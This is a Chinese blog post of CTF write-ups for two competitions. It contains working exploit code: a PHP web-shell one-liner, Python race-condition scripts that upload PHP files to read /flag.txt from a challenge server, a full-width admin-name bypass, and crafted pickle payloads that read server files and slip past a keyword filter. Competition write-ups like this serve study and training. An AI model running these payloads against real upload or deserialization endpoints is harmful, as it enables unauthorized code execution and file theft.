闽盾杯+陇剑杯


闽盾杯

安全的文件上传

php短标签
 
<? echo '123';?>  #前提是开启配置参数short_open_tags=on
<?=(表达式)?>  等价于 <?php echo (表达式)?>  #不需要开启参数设置
<% echo '123';%>   #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。
<?=@eval(system('ls'));?>

题目对文件后缀白名单检测+时间戳md5+后缀拼接无法直接绕过,由于修改文件名,应该存在条件竞争漏洞

import requests
import hashlib
import time
import threading
from time import sleep
# 配置
url_base = "http://119.233.150.205:57965"
url_upload = url_base + "/upload.php"
url_file = url_base + "/uploads/"

def upload_and_get_date():
    """上传一个正常文件,返回 date 和当前时间戳"""
    files = {'file': ('test.png', '并不好')}
    a=int(time.time())
    r = requests.post(url_upload, files=files)
    if r.status_code == 200:
        try:
            j = r.json()
            print("[+] Full JSON:", j)
            return j.get("date"), a
        except Exception as e:
            print("[-] JSON parse error:", e)
    return None, None
def upload_blacklist_file(filename="shell.php"):
    files = {'file': (filename, '<?= file_get_contents("/flag.txt"); ?>')}
    try:
        requests.post(url_upload, files=files, timeout=0.1)
    except requests.exceptions.ReadTimeout:
        pass

def calc_md5(date, offset):
    """计算 md5,尝试不同组合"""
    raw2 = str(int(date) + offset)
    return hashlib.md5(raw2.encode()).hexdigest()

def check_file(md5hash,t1):
    url = url_file + md5hash + ".php"
    r = requests.get(url)
    a=time.time()
    b=a-t1
    print(b)
    if r.status_code == 200:
        print("[+] Found file:", url)
        print(r.text)
        return True
    else:
        print("[-] Not found:", url)
        return False

if __name__ == "__main__":
    date, t1 = upload_and_get_date()
    if not date:
        exit("[!] No date found")

    threading.Thread(target=upload_blacklist_file, args=("shell.php",)).start()
    t2 = time.time()
    print(t2-t1)
    t2=int(t2)
    # 时间差
    delay = t2 - t1
    print(f"[*] Time delay = {delay}s")

    # 爆破 offset 范围(±3 秒)
    for offset in range(delay, delay+1):
        h2 = calc_md5(date, offset)
        print(f"[*] Trying offset={offset}, md5(int(date)+offset)={h2}")

        if check_file(h2,t1):
            break


[+] Full JSON: {'success': True, 'message': '�ļ��ϴ��ɹ�', 'date': '20250907090046', 'file_path': 'uploads/d02f03e7f22d2f296b967987dcd7cdf9.png'}
0.8296563625335693
[*] Time delay = 0s
[*] Trying offset=0, md5(int(date)+offset)=d02f03e7f22d2f296b967987dcd7cdf9
0.9817290306091309
[+] Found file: http://119.233.150.205:57965/uploads/d02f03e7f22d2f296b967987dcd7cdf9.php
flag{58cb100915}
import requests
import time
import threading
import hashlib
from datetime import datetime, timedelta

# 上传接口及请求头
UPLOAD_URL = "http://119.233.150.205:57965/upload.php"
UPLOAD_HEADERS = {
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "multipart/form-data; boundary=----abcdefghijklmnop"
}

# 上传 payload
PAYLOAD = "<?= print_r(file('/flag.txt'));"

def upload(filename: str):
    """
    上传文件到指定 URL
    """
    data = (
        f"------abcdefghijklmnop\r\n"
        f"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}\"\r\n"
        f"Content-Type: image/png\r\n\r\n"
        f"{PAYLOAD}\r\n"
        f"------abcdefghijklmnop--\r\n"
    )
    return requests.post(UPLOAD_URL, headers=UPLOAD_HEADERS, data=data)

def check_file(filename: str):
    """
    检查上传的文件是否可以访问
    """
    url = f"http://119.233.150.205:57965/uploads/{filename}"
    try:
        res = requests.get(url)
        if res.status_code == 200:
            print(res.text)
            return True
    except requests.RequestException:
        pass
    return False

def generate_md5_filenames():
    """
    生成时间戳 ±2 秒的 MD5 文件名列表
    """
    filenames = []
    now = datetime.utcnow()
    for offset in [0, -1, 1, -2, 2]:
        ts = (now + timedelta(seconds=offset)).strftime("%Y%m%d%H%M%S")
        filenames.append(hashlib.md5(ts.encode()).hexdigest() + ".php")
    return filenames

"""假设目标服务器在保存上传时用了 md5(时间戳字符串) 作为文件名(例如 md5("20250907123456")),脚本尝试当前 UTC 时间及其 ±1、±2 秒的时间戳,生成对应的 MD5 值作为候选(带 .php 后缀)。"""

def monitor_files(filenames, stop_event):
    """
    并发监控文件是否可访问
    """
    for _ in range(50):
        if stop_event.is_set():
            return
        for f in filenames:
            if stop_event.is_set():
                return
            if check_file(f):
                stop_event.set()
                return
        time.sleep(0.01)
        
        """每个线程会最多循环 50 次,每次检查 filenames 中的每个候选名。

一旦 check_file 返回 True(可访问),线程会把 stop_event 置位,通知其他线程停止。

time.sleep(0.01) 是短暂的等待,避免把 CPU 打满。"""

def main():
    # 上传一个固定文件
    upload("1.jpg")

    # 生成 MD5 时间戳文件名
    filenames = generate_md5_filenames()
    stop_event = threading.Event()
    """:创建一个线程间的信号对象(事件)。

这个 Event 可以被线程轮询 (stop_event.is_set()) 来判断是否该停止工作。

当主线程调用 stop_event.set() 时,所有监控线程都会立刻感知到,然后退出。"""

    # 并发监控文件
    threads = [threading.Thread(target=monitor_files, args=(filenames, stop_event)) for _ in range(5)]
    """创建 5 个线程对象,每个线程执行同一个函数 monitor_files(),传入两个参数:

filenames:一组要监控的文件名(候选 md5.php 文件)。

stop_event:上面那个控制信号,用来通知线程停止。"""
    for th in threads:
        th.start()

    time.sleep(0.05)
    # 上传带特殊扩展名的文件
    upload("1.pHp")
    stop_event.set()  # 停止监控

    for th in threads:
        th.join()

if __name__ == "__main__":
    main()


Array
(
    [0] => flag{58cb100915}
)
1
Array
(
    [0] => flag{58cb100915}
)
1
Array
(
    [0] => flag{58cb100915}
)
1
Array
(
    [0] => flag{58cb100915}
)
1
Array
(
    [0] => flag{58cb100915}
)
1

forge

先是全角绕过,注册一个admin,登陆。

import pickle
import pickletools
# # 写入PKL文件
# with open("data.pkl", "wb") as f:
#     pickle.dump(data, f)

# 从PKL文件读取
with open("D:\\Downloads\\example.pkl", "rb") as f:
    # pickle_a=pickletools.optimize(f)
    # print(pickle_a)
    pickletools.dis(f)
    print(f)
#     loaded_data = pickle.load(f)

# print(loaded_data)


通过 example.pkl 可知 CHIKAWA 类的 data 属性会被再次反序列化,并输出结果

通过构造 getattr(pathlib.Path, 'read_text')(pathlib.PosixPath('app.py')) 读取 app.py

但是 flag 被过滤了,使用 unicode 编码绕过

import pickle


class CHIKAWA:
    def __init__(self):
        self.model_name = None
        self.data = None
        self.parameters = None

    def __str__(self):
        return str(pickle.loads(self.data))

obj = CHIKAWA()
obj.model_name = "mzzz"

obj.data = b"""cpathlib
Path
p0
cbuiltins
getattr
(g0
S'read_text'
tRp1
cpathlib
PosixPath
(S'app.py'
tRp2
g1
(g2
tR.
"""

obj.data = b"""cpathlib
Path
p0
cbuiltins
getattr
(g0
S'read_text'
tRp1
cpathlib
PosixPath
(V\u002f\u0066\u006c\u0061\u0067
tRp2
g1
(g2
tR.
"""

blob = pickle.dumps(obj, protocol=4)

print(pickle.loads(blob))

with open('mzzz.pkl', 'wb') as f:
    f.write(blob)

上传 mzzz.pkl ,执行

上面这个会直接app.py 的内容变成字符串存进 data,而不是在服务器执行时读取

import pickle
import pickletools
# # 写入PKL文件
# with open("data.pkl", "wb") as f:
#     pickle.dump(data, f)

# 从PKL文件读取
with open("D:\\Downloads\\example.pkl", "rb") as f:
    # pickle_a=pickletools.optimize(f)
    # print(pickle_a)
    pickletools.dis(f)
    print(f)
#     loaded_data = pickle.load(f)

# print(loaded_data)
   
   0: \x80 PROTO      4
    2: \x95 FRAME      112
   11: \x8c SHORT_BINUNICODE '__main__'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'CHIKAWA'
   31: \x94 MEMOIZE    (as 1)
   32: \x93 STACK_GLOBAL
   33: \x94 MEMOIZE    (as 2)
   34: )    EMPTY_TUPLE
   35: \x81 NEWOBJ
   36: \x94 MEMOIZE    (as 3)
   37: }    EMPTY_DICT
   38: \x94 MEMOIZE    (as 4)
   39: (    MARK
   40: \x8c     SHORT_BINUNICODE 'model_name'
   52: \x94     MEMOIZE    (as 5)
   53: \x8c     SHORT_BINUNICODE 'Example'
   62: \x94     MEMOIZE    (as 6)
   63: \x8c     SHORT_BINUNICODE 'data'
   69: \x94     MEMOIZE    (as 7)
   70: C        SHORT_BINBYTES b"cbuiltins\nprint\n(S'chikawa'\ntR."
  103: \x94     MEMOIZE    (as 8)
  104: \x8c     SHORT_BINUNICODE 'parameters'
  116: \x94     MEMOIZE    (as 9)
  117: \x8c     SHORT_BINUNICODE ''
  119: \x94     MEMOIZE    (as 10)
  120: u        SETITEMS   (MARK at 39)
  121: b    BUILD
  122: .    STOP
highest protocol among opcodes = 4
<_io.BufferedReader name='D:\\Downloads\\example.pkl'>
import pickle

# 定义类(名字和服务器的一致)
class CHIKAWA:
    def __init__(self):
        self.model_name = "Example"
        self.data = None
        self.parameters = ""

# 构造 payload (你可以改成恶意的)
inner_payload = b"cbuiltins\nprint\n(S'chikawa'\ntR."

# 把 payload 塞进 data
obj = CHIKAWA()
obj.data = inner_payload

# 序列化
blob = pickle.dumps(obj, protocol=4)

# 保存成 pkl 文件
with open("test.pkl", "wb") as f:
    f.write(blob)
不知道对不对

import pickle

# 延迟执行 payload
class ReadApp:
    def __reduce__(self):
        import pathlib
        # 这里不执行,只告诉 pickle 反序列化时执行
        return (getattr(pathlib.Path, 'read_text'), (pathlib.Path('app.py'),))

class CHIKAWA:
    def __init__(self):
        self.model_name = None
        self.data = None
        self.parameters = ""

# 把 ReadApp 的对象序列化成 inner_payload
inner_payload = pickle.dumps(ReadApp())

# 放进 CHIKAWA 对象
obj = CHIKAWA()
obj.data = inner_payload

# 序列化 CHIKAWA 对象到文件
with open("exploit.pkl", "wb") as f:
    f.write(pickle.dumps(obj, protocol=4))


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录